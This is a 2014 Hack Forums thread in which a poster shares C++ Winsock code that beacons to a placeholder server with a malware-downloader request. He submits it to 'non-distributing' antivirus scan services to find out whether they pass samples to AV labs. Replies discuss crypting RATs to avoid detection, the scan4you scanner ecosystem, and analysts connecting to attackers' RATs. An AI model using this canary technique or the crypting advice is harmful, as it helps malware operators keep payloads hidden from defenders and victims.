

Forum:[Hack Forums](#)

Thread: [Testing Non-Distribute File Scanners](#)

regexks_ - September 4, 2014, 2:54 am

I'm sure many of you have doubts on the integrity of these non-distributing file scanners. I've come up with a solution to put the doubts to rest or maybe stir the pot of shit some more (or is it curry... Fucking Indian food)!

I'm sure the owners of the scanners below won't mind that I've submit a custom program that's not actually malware.

```
Code #include <winsock2.h>
```

```
#include <windows.h>
```

```
#include <iostream>
```

```
#pragma comment(lib,"ws2_32.lib")
```

```
int main (){
```

```
    WSADATA wsaData;
```

```
    WSStartup(MAKEWORD(2,2), &wsaData);
```

```
    SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
```

```
    SOCKADDR_IN SockAddr;
```

```
    SockAddr.sin_port=htons(80);
```

```
    SockAddr.sin_family=AF_INET;
```

```
    SockAddr.sin_addr.s_addr = inet_addr("MY SERVER IP");
```

```
    connect(Socket,(SOCKADDR*)&SockAddr,sizeof(SockAddr));
```

```
    send(Socket,"GET /UNIQUE FILE NAME.exe HTTP/1.1\r\nHost: MY SERVER  
IP\r\nCache-Control: no-cache\r\nUser-Agent: Big Bad Malware Downloader\r\nConnection:  
close\r\n\r\n", strlen("GET /UNIQUE FILE NAME.exe HTTP/1.1\r\nHost: MY SERVER  
IP\r\nUser-Agent: Big Bad Malware Downloader\r\nCache-Control: no-cache\r\nConnection:  
close\r\n\r\n"),0);
```

```
    closesocket(Socket);
```

```
    WSACleanup();
```

```
    return 0;
```

```
}
```

This simple program uses the Winsock API to initiate a connection with my own server and an HTTP GET request to attempt to grab an arbitrary file from it. Apache access logs will log the attempt with IP address information which will allow me to identify the scanner that's distributing or, otherwise, executing my program.

These files have not been encrypted or protected nor have they been uploaded to any hosting service that could potentially distribute the samples and taint the results.

More scanners coming soon. Feel free to post links to popular scanners you'd like tested and I'd be happy to submit a sample to them.

Skotia - September 4, 2014, 2:57 am

I've been having some sort of idea like this for a while, but it's not like I could of got it done pft, nice solution!

The Rage - September 4, 2014, 3:52 am

Nice solution buddy , its very good idea

N3oNight - September 4, 2014, 4:59 am

well I would like attention on some Points.

- > There are mainly 3 Scanners, rest of the scanners use this site API.
- > Scan4you.net (Biggest site) , avdetect.com , Razorscanner
- > only fuckingscan.me uses Razorscanner API, rest all sites Use Scan4you API (nodistribute, majyx, anon etc.)
- > regarding AV detecting, they don't really work the way you are making the Test.
- > If you create a new stub and crypt any legit file like Putty, reshacker and scan them, The stub or the crypted file Wont get detected.
- > In the same place if you crypt a Rat which has a familiar behavior to any malware then only It detects the crypted file and the stub.
- > so If your newly coded file Just makes an simple connection It wont give any major because of the reason It does not have any familiar behavior.
- > Also most of the AV ran the distributed file in some examining environment and also track the connection with wireshark.
- > I have received many connections on my Rat like that and I always found they have wireshark running on there PC when I get connection from them.
- > Sorry for my bad English ?

regexks_ - September 4, 2014, 5:10 am

(Sep 4, 2014 04:59 AM)N3oNight Wrote: [\[CITE\]](#) well I would like attention on some Points.

- > There are mainly 3 Scanners, rest of the scanners use this site API.
- > Scan4you.net (Biggest site) , avdetect.com , Razorscanner
- > only fuckingscan.me uses Razorscanner API, rest all sites Use Scan4you API (nodistribute, majyx, anon etc.)
- > regarding AV detecting, they don't really work the way you are making the Test.
- > If you create a new stub and crypt any legit file like Putty, reshacker and scan them, The stub or the crypted file Wont get detected.
- > In the same place if you crypt a Rat which has a familiar behavior to any malware then only It detects the crypted file and the stub.
- > so If your newly coded file Just makes an simple connection It wont give any major because of the reason It does not have any familiar behavior.
- > Also most of the AV ran the distributed file in some examining environment and also track the connection with wireshark.
- > I have received many connections on my Rat like that and I always found they have wireshark running on there PC when I get connection from them.
- > Sorry for my bad English ?

It does have familiar behavior to malware because an analysis of the binary in a debugger shows memory locations and pointers common to many Trojan droppers (downloads a file) so it has been flagged by the scan4you.net API. I can stick more unencrypted, unobfuscated malicious code in the software just to throw red flags on it if I really wanted full AV detection.

The connection being tracked with WireShark is not a problem because I just need the HTTP request to complete to see if the executable was run.

N3oNight - September 4, 2014, 5:23 am

(Sep 4, 2014 05:10 AM)regexks_ Wrote: [\[CITE\]](#) It does have familiar behavior to malware because an analysis of the binary in a debugger shows memory locations and pointers common to many Trojan droppers (downloads a file) so it has been flagged by the scan4you.net API. I can stick more unencrypted, unobfuscated malicious code in the software just to throw red flags on it if I really wanted full AV detection.

The connection being tracked with WireShark is not a problem because I just need the HTTP request to complete to see if the executable was run.
so how many HTTP request received till now?

regexks_ - September 4, 2014, 3:55 pm

(Sep 4, 2014 05:23 AM)N3oNight Wrote: [\[CITE\]](#) so how many HTTP request received till now?
None so far! I'll be editing the script to give it a substantially higher detection ratio ?

Dam Son - September 4, 2014, 5:40 pm

I thought those were only scantime scanner services, not runtime.
Am I missing something here?

regexks_ - September 4, 2014, 5:51 pm

(Sep 4, 2014 05:40 PM)vaXine Wrote: [\[CITE\]](#) I thought those were only scantime scanner services, not runtime.

Am I missing something here?

People have been getting "phantom" connections on their remote administration tools from the same users. Upon connection to these devices they have noticed numerous tools used to analyze the software and determine its function.

I'm testing this to the fullest extent to see if it's actually true that the scanners are submitting samples to anti-malware labs.

Dam Son - September 4, 2014, 5:54 pm

(Sep 4, 2014 05:51 PM)regexks_ Wrote: [\[CITE\]](#) People have been getting "phantom" connections on their remote administration tools from the same users. Upon connection to these devices they have noticed numerous tools used to analyze the software and determine its function.

I'm testing this to the fullest extent to see if it's actually true that the scanners are submitting samples to anti-malware labs.

Oh ok, thanks for clearing that up. was a bit confused